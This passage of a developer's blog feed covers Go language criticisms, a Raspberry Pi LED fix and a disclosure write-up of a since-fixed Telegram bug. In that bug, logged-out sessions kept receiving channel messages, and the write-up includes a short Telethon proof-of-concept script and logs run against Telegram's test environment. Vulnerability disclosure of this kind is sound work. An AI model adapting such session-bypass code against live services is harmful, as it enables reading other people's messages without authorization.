<p>A wise man once told me “programmers should be lazy and stupid”<sup id="fnref:2"><a href="#fn:2" class="footnote" rel="footnote" role="doc-noteref">2</a></sup>.
The logic is that a “lazy” programmer won’t over-complicate things, and a good programmer should write code that “stupid” people can understand.
What with agentic LLMs writing code, I suspect that code authors are going to get less lazy and more stupid. Since perhaps the most useful input to an agentic system is the criticism, a good linter is essential.
Some of the linters in Golang are fragmented, slow and often wrong, which makes it difficult to use AI for development, but also slows down human work.</p>

<h4 id="thelper">thelper</h4>

<p>A common mistake I’ve seen (in human- and AI-written code) is to use <code class="language-plaintext highlighter-rouge">t.Helper()</code> (from <code class="language-plaintext highlighter-rouge">testing.T</code>) in test helpers.
<code class="language-plaintext highlighter-rouge">T.Helper</code> has very precise criteria for correct use<sup id="fnref:3"><a href="#fn:3" class="footnote" rel="footnote" role="doc-noteref">3</a></sup>, but the <code class="language-plaintext highlighter-rouge">thelper</code> lint rule complains every time any function accepts a <code class="language-plaintext highlighter-rouge">testing.T</code> parameter. This leads people to think they are making a mistake by not including <code class="language-plaintext highlighter-rouge">t.Helper()</code> at the start of helper functions.</p>

<h3 id="test-discovery">Test discovery</h3>

<p>A common practice in Golang is to have dynamically-declared subtests (table-based testing). That’s a good thing in most languages, because it avoids code duplication.
However, in Golang, the test names aren’t known until after you have started running them. In Java, for example, table-driven tests are brought up at class initialisation time which means they are discoverable.
This means that Go subtests are a pain to discover<sup id="fnref:4"><a href="#fn:4" class="footnote" rel="footnote" role="doc-noteref">4</a></sup>.</p>

<h2 id="memory-management">Memory management</h2>

<p>Go uses a garbage collector for memory management, and as GCs go, it’s pretty good. It’s not very stop-the-world and can be tuned.</p>

<h3 id="race-detector">Race detector</h3>

<p>The race detector is very helpful when testing. It’s very nice to get a warning when your code has a data race, and can save a lot of time debugging in production.</p>

<h2 id="code-patterns">Code patterns</h2>

<p>Golang’s language design brings about a number of code patterns that I dislike. Some of these are avoidable (and should be avoided!), but others we’re stuck with.</p>

<h3 id="slices">Slices</h3>

<p>Golang has arrays (fixed length) and slices (variable length) which is slightly more complex than necessary but not <em>bad</em> (although I’ve seen it cause problems for new developers).</p>

<p>In the interests of keeping the language simple, Go has sacrificed the ability to cast slices.
That’s quite good because it means that every piece of syntax is constant time. Except when casting between <code class="language-plaintext highlighter-rouge">string</code> and <code class="language-plaintext highlighter-rouge">[]byte</code><sup id="fnref:5"><a href="#fn:5" class="footnote" rel="footnote" role="doc-noteref">5</a></sup>.
Go has a very frustrating habit of making sensible choices and then giving them weird exceptions for convenience.</p>

<p>Another thing that annoys me is that a slice exposes its capacity all over the place. Surely the underlying capacity of a slice should be an implementation detail?
If you need to ensure there exists an Nth element of a slice, you should request a specific length.
If you want to request a specific capacity, fine. But you shouldn’t have to consider the capacity of the slice when slicing it.
It’s simpler for Go but much more complex for everyone who uses Go. Another example of system-centric design.</p>

<h3 id="goroutines">Goroutines</h3>

<p>I used to think goroutines were the <a href="https://vorpus.org/blog/notes-on-structured-concurrency-or-go-statement-considered-harmful/">scourge of the entire language</a>. Now, I’m not so sure. I still think that structured concurrency is the way to go (no pun intended), but when used correctly, goroutines are fine.</p>

<p>Using <code class="language-plaintext highlighter-rouge">errgroup</code>s and channels correctly can make goroutines less horrible to work with, but there are still many situations where it would just be so much eaiser to write correct code if we had structured concurrency.</p>

<h3 id="deferring">Deferring</h3>

<p>I strongly dislike the <code class="language-plaintext highlighter-rouge">defer</code> statement. It makes it very hard to see where the code flow goes. There’s no alternative, sadly. I think that Python’s <code class="language-plaintext highlighter-rouge">with</code> blocks are exemplary, as they effectively do the same thing but with two key advantages:</p>

<ul>
  <li>you can use a <code class="language-plaintext highlighter-rouge">with</code> block to scope the cleanup code to something other than a function</li>
  <li>a <code class="language-plaintext highlighter-rouge">with</code> block declares exactly what it scopes at the top, and always executes the same cleanup code at the end</li>
</ul>

<h3 id="error-handling">Error handling</h3>

<p>Go tries to be too simple here. These days, when I write error handling code in Go, I always wrap the error at every level.
That means that I’m effectively creating a stack trace as the error unwinds. Just I have to write the whole thing myself. Every single time.
If Go had automatic stack traces and automatic error propegation, it would be infinitely more pleasant to use. Once again this is an area where <a href="https://crates.io/crates/anyhow">Rust excels</a>.</p>

<h3 id="type-system-related-issues">Type system-related issues</h3>

<p>Go has both typed <em>and untyped</em> constants. Once again it’s a simple concept that turns out to be quite annoying. An untyped constant has no type, so it implicitly converts to whatever type is needed, but it has a default type that it falls back to. This means that any function that implements a comparison gets messed up<sup id="fnref:6"><a href="#fn:6" class="footnote" rel="footnote" role="doc-noteref">6</a></sup>.</p>

<p>Or how about taking a pointer to a value. In most languages (on the same level as Golang, that is) you can take a pointer of almost any value, but Go decides that all pointers must be writable. On the face of it this is a very attractice proposition because it eliminates a whole class of errors where we write to a pointer in rodata. But Go also doesn’t include any sort of Optional container<sup id="fnref:7"><a href="#fn:7" class="footnote" rel="footnote" role="doc-noteref">7</a></sup>, so any optional field becomes a pointer. Which means that all optional fields are pass-by-reference and mutable.</p>

<p>And that brings me to my next point, the language has no concept of optional parameters. This can sometimes be worked around with pointers but it makes it very painful to call the function because all arguments must be declared as variables beforehand. So most people use the <a href="https://michalzalecki.com/golang-options-pattern/">options pattern</a> to get around this. Unfortunately this pattern requires loads of code, reduces discoverability of arguments and adds a level of indirection. If Go supported a simple, universal Optional type, that would mean we didn’t need to use pointers or options.</p>

<p>Still on pointers (wow I hate them), Golang supports nesting structs, and it can implicitly copy fields and methods from the inner struct to the outer one. Very neat. Here’s an example:</p>

<div class="language-go highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">type</span> <span class="n">Animal</span> <span class="k">struct</span> <span class="p">{</span>
	<span class="n">Species</span> <span class="kt">string</span>
	<span class="n">Name</span> <span class="kt">string</span>
<span class="p">}</span>

<span class="k">func</span> <span class="p">(</span><span class="n">a</span> <span class="n">Animal</span><span class="p">)</span> <span class="n">PrintName</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">fmt</span><span class="o">.</span><span class="n">Sprintf</span><span class="p">(</span><span class="s">"My name is %s"</span><span class="p">,</span> <span class="n">a</span><span class="o">.</span><span class="n">Name</span><span class="p">)</span>
<span class="p">}</span>

<span class="k">type</span> <span class="n">Collar</span> <span class="k">struct</span> <span class="p">{</span>
	<span class="n">Label</span> <span class="kt">string</span>
<span class="p">}</span>

<span class="k">type</span> <span class="n">Cat</span> <span class="k">struct</span> <span class="p">{</span>
	<span class="n">Animal</span>
	<span class="o">*</span><span class="n">Collar</span> <span class="c">// pointer to make it optional; not all cats have collars.</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Let’s ignore the convoluted example and focus on the fact that every <code class="language-plaintext highlighter-rouge">Cat</code> contains an <code class="language-plaintext highlighter-rouge">Animal</code> struct, which provides the cat’s name and species.
This means that we can call <code class="language-plaintext highlighter-rouge">cat.PrintName()</code> and it will Just Work™. There is also an optional <code class="language-plaintext highlighter-rouge">Collar</code>.</p>

<p>At this point, the cat may have a collar, which then contains a label. Golang, in an effort to be helpful, lets us call things like <code class="language-plaintext highlighter-rouge">cat.PrintName()</code>, <code class="language-plaintext highlighter-rouge">cat.Species</code> or (crucially) <code class="language-plaintext highlighter-rouge">cat.Label</code>.</p>

<p>If we try to access <code class="language-plaintext highlighter-rouge">Cat{}.Label</code>, the entire program panics with a null pointer deference error, because <code class="language-plaintext highlighter-rouge">.Label</code> is inside the <code class="language-plaintext highlighter-rouge">.Collar</code> which is <code class="language-plaintext highlighter-rouge">nil</code>. That’s despite the fact that the type that we accessed is not a pointer!</p>

<p>I’ll be the first to admit that this is quite a convoluted example because you should never have an embedded struct that is a nullable reference. It’s a very bad idea. But Golang permits it and raises no warnings about it, and I’ve seen it crop up in the wild.</p>

<h3 id="standard-library">Standard library</h3>

<p>Due to the long-standing lack of generics (now resolved), Go’s standard library is very sparse, and what it does do is often overspecialised.
I think generics is a very good case of when less is actually less – without it you have no chance of making useful, safe, reusable functions.</p>

<h2 id="documentation">Documentation</h2>

<p>And don’t even get me started on how poorly Golang is documented. If you search virtually any Go-related query, the first result is always some website called <code class="language-plaintext highlighter-rouge">golangdocs</code>. I don’t trust it.</p>

<h2 id="conclusion">Conclusion</h2>

<p>While I have mainly focused on the downsides of Go, most of these can be avoided if code is written to sensible standards.
It’s unfortunate that these standards have no specification or documentation, and mostly have no linters available (because I’ve skipped the mistakes that have linters available).</p>

<p>On the whole I think Go is a decent language although it can be very frustrating at times.</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1">
      <p>Even <code class="language-plaintext highlighter-rouge">//go:embed</code> isn’t able to include files from outside the package directory. Kudos to the Golang devs on this, it’s very clean. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2">
      <p>Russell Bradford was very clear on this in CM20318 at the University of Bath. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3">
      <p>It should only be used if the function could reasonably be called <code class="language-plaintext highlighter-rouge">AssertXxx</code>. For example <code class="language-plaintext highlighter-rouge">AssertSuccess</code> should use <code class="language-plaintext highlighter-rouge">T.Helper</code> while <code class="language-plaintext highlighter-rouge">SetupEnvironment</code> should not. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4">
      <p>As some gopls contributors <a href="https://github.com/golang/go/issues/59445">found out</a>. <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:5">
      <p>See <code class="language-plaintext highlighter-rouge">stringtoslicebyte</code> in <a href="https://go.dev/src/runtime/string.go">string.go</a>. <a href="#fnref:5" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:6">
      <p>For example, let’s consider the function <code class="language-plaintext highlighter-rouge">func eq(a any, b any) bool { return a == b }</code>. If we call <code class="language-plaintext highlighter-rouge">eq(1, 2)</code> that will work fine. But after initialising <code class="language-plaintext highlighter-rouge">var x = 1</code>, <code class="language-plaintext highlighter-rouge">var y uint64 = 1</code>, <code class="language-plaintext highlighter-rouge">eq(x, y)</code> returns false. This pattern turns out to be very common in tests, due <code class="language-plaintext highlighter-rouge">AssertEqual</code> functions. <a href="#fnref:6" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:7">
      <p>Like in Haskell or Rust (or even arguably Kotlin), where we can wrap a type in a thing that makes it nullable. <a href="#fnref:7" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>]]></content><author><name>Penn Mackintosh</name></author><category term="golang" /><category term="languages" /><summary type="html"><![CDATA[Over the last year, I’ve had the opportunity to work a lot with Golang code. It has certainly been an interesting experience, as I’ve never seriously used Go before.]]></summary></entry><entry><title type="html">Telegram bug in terminated sessions</title><link href="https://hack5.dev/telegram/bug/2021/09/24/telegram-sessions-bug.html" rel="alternate" type="text/html" title="Telegram bug in terminated sessions" /><published>2021-09-24T07:52:52+00:00</published><updated>2021-09-24T07:52:52+00:00</updated><id>https://hack5.dev/telegram/bug/2021/09/24/telegram-sessions-bug</id><content type="html" xml:base="https://hack5.dev/telegram/bug/2021/09/24/telegram-sessions-bug.html"><![CDATA[<blockquote>
  <p><a href="https://t.me/tgbetachat/673556">Do you think that Telegram servers are coded by monkeys?</a></p>
</blockquote>

<h2 id="tldr">TL;DR</h2>

<p>A terminated session or a deleted account was still able to receive messages from active connections. Telegram fixed it as of 15~16 September 2021.</p>

<h2 id="introduction">Introduction</h2>

<p>The Telegram MTProto protocol is tricky, like its backend. Sometimes Telegram developers forget to implement some critical security controls when adding new features, in this case kicking out existing sessions. The same thing has happened before (or after) with missing rate-limiting in chat imports, although it was fixed very quickly after release.</p>

<h2 id="the-vulnerability">The vulnerability</h2>

<p>As the ability to invalidate logged in sessions or to kick out users from the application after their account got deleted are very old features, we can assume this vulnerability has been there for a long time.</p>

<p>But what is it about? Well, as you can read in the TL;DR, after a session is invalidated, if the connection has not been closed yet, Telegram will continue sending channels messages updates. Note that official clients always do close the connection, so the behaviour wasn’t obvious - everything appeared to work fine if you used an official client to test.</p>

<p>Note that <code class="language-plaintext highlighter-rouge">channel</code> can mean a broadcast channel, a supergroup, a gigagroup or a local group, as they are all the same at API level. Therefore, you would not receive updates from private chats, bots, basic groups, or most importantly, the Telegram service account which sends login codes.</p>

<h2 id="poc">POC</h2>

<p>When a session gets kicked out, Telegram sends an <a href="https://core.telegram.org/constructor/updatesTooLong">updatesTooLong</a> constructor, which tells clients that they are supposed to call <a href="https://core.telegram.org/method/updates.getDifference">updates.getDifference</a>, which will then give a <code class="language-plaintext highlighter-rouge">401 AUTH_KEY_UNREGISTERED</code> RPC error, prompting the client to close the TCP connection.</p>

<p>However, if it is ignored by the client, and no more TL functions are called, Telegram will just continue sending you channel updates until connection is closed.</p>

<p>To exploit this, I used the <a href="https://telethon.dev">Telethon library</a>. First, the script connected to the Telegram testmode environment and created an account for itself. Next, it immediately logged out of this account, meaning that it should be unable to read any new messages. Finally, it waited for incoming updates from Telegram (bypassing the built-in Telethon code, which made some extra RPC requests, breaking the code) and printed them.</p>

<p>The proof of concept code is very small (note that it no longer works, as the issue is resolved):</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">asyncio</span>
<span class="kn">import</span> <span class="n">telethon</span>
<span class="kn">from</span> <span class="n">telethon.sync</span> <span class="kn">import</span> <span class="n">TelegramClient</span>
<span class="kn">from</span> <span class="n">telethon.tl.functions.auth</span> <span class="kn">import</span> <span class="n">LogOutRequest</span>
<span class="kn">from</span> <span class="n">telethon.tl.functions.updates</span> <span class="kn">import</span> <span class="n">GetStateRequest</span>


<span class="n">client</span> <span class="o">=</span> <span class="nc">TelegramClient</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="mi">12345</span><span class="p">,</span> <span class="sh">"</span><span class="s">0123456789abcdef0123456789abcdef</span><span class="sh">"</span><span class="p">)</span>
<span class="n">client</span><span class="p">.</span><span class="n">session</span><span class="p">.</span><span class="nf">set_dc</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="sh">'</span><span class="s">149.154.167.40</span><span class="sh">'</span><span class="p">,</span> <span class="mi">80</span><span class="p">)</span>
<span class="n">client</span><span class="p">.</span><span class="nf">start</span><span class="p">(</span><span class="n">phone</span><span class="o">=</span><span class="sh">'</span><span class="s">9996621234</span><span class="sh">'</span><span class="p">,</span> <span class="n">code_callback</span><span class="o">=</span><span class="k">lambda</span><span class="p">:</span><span class="sh">'</span><span class="s">22222</span><span class="sh">'</span><span class="p">)</span>

<span class="nd">@client.on</span><span class="p">(</span><span class="n">telethon</span><span class="p">.</span><span class="n">events</span><span class="p">.</span><span class="nc">NewMessage</span><span class="p">())</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">raw</span><span class="p">(</span><span class="n">e</span><span class="p">):</span>
    <span class="nf">print</span><span class="p">(</span><span class="n">e</span><span class="p">.</span><span class="n">text</span><span class="p">)</span>

<span class="k">with</span> <span class="n">client</span><span class="p">:</span>
    <span class="n">client</span><span class="p">.</span><span class="nf">start</span><span class="p">()</span>
    <span class="nf">print</span><span class="p">(</span><span class="nf">client</span><span class="p">(</span><span class="nc">GetStateRequest</span><span class="p">()))</span>
    <span class="nf">print</span><span class="p">(</span><span class="nf">client</span><span class="p">(</span><span class="nc">LogOutRequest</span><span class="p">()))</span>
    <span class="n">asyncio</span><span class="p">.</span><span class="nf">get_event_loop</span><span class="p">().</span><span class="nf">run_until_complete</span><span class="p">(</span><span class="n">asyncio</span><span class="p">.</span><span class="nf">wait_for</span><span class="p">(</span><span class="n">client</span><span class="p">.</span><span class="n">disconnected</span><span class="p">,</span> <span class="bp">None</span><span class="p">))</span>
</code></pre></div></div>

<p>Here is an extract of the logs of what happened:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>DEBUG:telethon.network.mtprotosender:Handling update UpdatesTooLong
DEBUG:telethon.network.mtprotosender:Receiving items from the network...
UpdatesTooLong()
DEBUG:telethon.extensions.messagepacker:Assigned msg_id = 7003973880031307500 to PingRequest (7fea21e29fa0)
DEBUG:telethon.network.mtprotosender:Encrypting 1 message(s) in 28 bytes for sending
DEBUG:telethon.network.mtprotosender:Encrypted messages put in a queue to be sent
DEBUG:telethon.network.mtprotosender:Waiting for messages to send...
DEBUG:telethon.extensions.messagepacker:Assigned msg_id = 7003973880037489216 to MsgsAck (7fea21e29e80)
DEBUG:telethon.network.mtprotosender:Encrypting 1 message(s) in 60 bytes for sending
DEBUG:telethon.network.mtprotosender:Encrypted messages put in a queue to be sent
DEBUG:telethon.network.mtprotosender:Waiting for messages to send...
DEBUG:telethon.network.mtprotosender:Handling container
DEBUG:telethon.network.mtprotosender:Handling pong for message 7003973880031307500
DEBUG:telethon.network.mtprotosender:Handling update UpdateShort
DEBUG:telethon.network.mtprotosender:Handling update Updates
DEBUG:telethon.network.mtprotosender:Handling update Updates
DEBUG:telethon.network.mtprotosender:Receiving items from the network...
UpdateChannelUserTyping(channel_id=10812878, from_id=PeerUser(user_id=925104), action=SendMessageTypingAction(), top_msg_id=None)
UpdateNewChannelMessage(message=Message(id=2, peer_id=PeerChannel(channel_id=10812878), date=datetime.datetime(2021, 9, 4, 7, 15, 33, tzinfo=datetime.timezone.utc), message='here is a sensitive message', out=False, mentioned=False, media_unread=False, silent=False, post=False, from_scheduled=False, legacy=False, edit_hide=False, pinned=False, from_id=PeerUser(user_id=925104), fwd_from=None, via_bot_id=None, reply_to=None, media=None, reply_markup=None, entities=[], views=None, forwards=None, replies=MessageReplies(replies=0, replies_pts=3, comments=False, recent_repliers=[], channel_id=None, max_id=None, read_max_id=None), edit_date=None, post_author=None, grouped_id=None, restriction_reason=[], ttl_period=None), pts=3, pts_count=1)
</code></pre></div></div>

<h2 id="conclusion">Conclusion</h2>

<p>The flaw was reported to Telegram on 2021/09/04, and the bug was fixed by 2021/09/15.</p>

<p>I was offered a bounty but didn’t accept it because it came with an NDA, which would’ve forced me to abide by a series of rules that would’ve severely limited my freedom to disclose future vulnerabilities (whether responsibly or not) as well as trap me in an unnecessary, not to mention purposefully ambiguous, legal rat’s nest that could have been easily exploited to silence me in the future. I understand that Telegram needs to protect themselves from irresponsible security experts that disclose vulnerabilities in ways that dishonor the field, but forcing this kind of restriction onto people who spend their own time trying to find problems into their infrastructure and who attempt to proactively help fix them is an oxymoron, especially given that the economical compensation for such precious time, which Telegram never fails to boast, is locked behind the wall of signing this NDA. This sounds like a way of telling people “Thanks for reporting this! Now take this money, sign this paper here and shut up or we’ll sue you if you ever say a word about it”, which is counterintuitive given Telegram’s CEO Pavel Durov has always been very open about his despise for oppressive governments and organizations.</p>

<h2 id="credits">Credits</h2>

<ul>
  <li>Me for realising the bug and the PoC</li>
  <li><a href="https://t.me/telethonofftopic/744766">@ShalmonAnandMate</a> for reminding me of the issue</li>
  <li><a href="https://t.me/DavideGalilei">@DavideGalilei</a> and <a href="https://t.me/nocturn9x">@nocturn9x</a> for helping with this write-up</li>
</ul>]]></content><author><name>Penn Mackintosh</name></author><category term="telegram" /><category term="bug" /><summary type="html"><![CDATA[Do you think that Telegram servers are coded by monkeys?]]></summary></entry><entry><title type="html">Turning off the RPi3B power LED in Fedora</title><link href="https://hack5.dev/fedora/rpi/leds/2021/03/31/pi-3b-leds-fedora.html" rel="alternate" type="text/html" title="Turning off the RPi3B power LED in Fedora" /><published>2021-03-31T10:42:50+00:00</published><updated>2021-03-31T10:42:50+00:00</updated><id>https://hack5.dev/fedora/rpi/leds/2021/03/31/pi-3b-leds-fedora</id><content type="html" xml:base="https://hack5.dev/fedora/rpi/leds/2021/03/31/pi-3b-leds-fedora.html"><![CDATA[<h2 id="the-problem">The problem</h2>
<p>Fedora doesn’t support the sysfs GPIO interface, and since it isn’t running the official raspbian kernel, you can’t use the GPU driver as listed on the RPi forums.</p>

<h2 id="what-i-tried-first">What I tried first</h2>
<p>At first I tried enabling the configuration options in <code class="language-plaintext highlighter-rouge">/boot/efi/config.txt</code>, but this had no effect, presumably due to the switch of the LEDs to the GPIO expander.</p>

<h2 id="enabling-gpio">Enabling GPIO</h2>
<p>Since the LED is on a GPIO extender, I wondered if Fedora would be able to see it via the GPIO. First follow <a href="https://fedoraproject.org/wiki/Architectures/ARM/gpio#Using_the_GPIO">Using the GPIO on Fedora Wiki</a> to install <code class="language-plaintext highlighter-rouge">libgpiod</code>, and run <code class="language-plaintext highlighter-rouge">sudo gpioinfo</code>. At the end you should see this output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gpiochip1 - 8 lines:
	line   0:      "BT_ON"   "shutdown"  output  active-high [used]
	line   1:      "WL_ON"      "reset"  output   active-low [used]
	line   2: "STATUS_LED"        "ACT"  output  active-high [used]
	line   3:    "LAN_RUN"       unused  output  active-high 
	line   4: "HDMI_HPD_N"       unused   input  active-high 
	line   5:  "CAM_GPIO0"       unused  output  active-high 
	line   6:  "CAM_GPIO1"       unused  output  active-high 
	line   7:  "PWR_LOW_N"       unused   input  active-high 
</code></pre></div></div>
<p>Success! On line 7 you see the power LED.</p>

<h2 id="turning-off-the-led">Turning off the LED</h2>
<p>It’s as simple as setting that pin to 1 - <code class="language-plaintext highlighter-rouge">sudo gpioset gpiochip1 7=1</code> will turn off the LED.</p>]]></content><author><name>Penn Mackintosh</name></author><category term="fedora" /><category term="rpi" /><category term="leds" /><summary type="html"><![CDATA[The problem Fedora doesn’t support the sysfs GPIO interface, and since it isn’t running the official raspbian kernel, you can’t use the GPU driver as listed on the RPi forums.]]></summary></entry><entry><title type="html">Welcome to my new blog</title><link href="https://hack5.dev/update/2020/09/06/new-blog.html" rel="alternate" type="text/html" title="Welcome to my new blog" /><published>2020-09-06T14:31:59+00:00</published><updated>2020-09-06T14:31:59+00:00</updated><id>https://hack5.dev/update/2020/09/06/new-blog</id><content type="html" xml:base="https://hack5.dev/update/2020/09/06/new-blog.html"><![CDATA[<p>Yeah, this is me now!</p>

<p>I spent a lot of money on this website, so I might actually use it.</p>]]></content><author><name>Penn Mackintosh</name></author><category term="update" /><summary type="html"><![CDATA[Yeah, this is me now!]]></summary></entry></feed>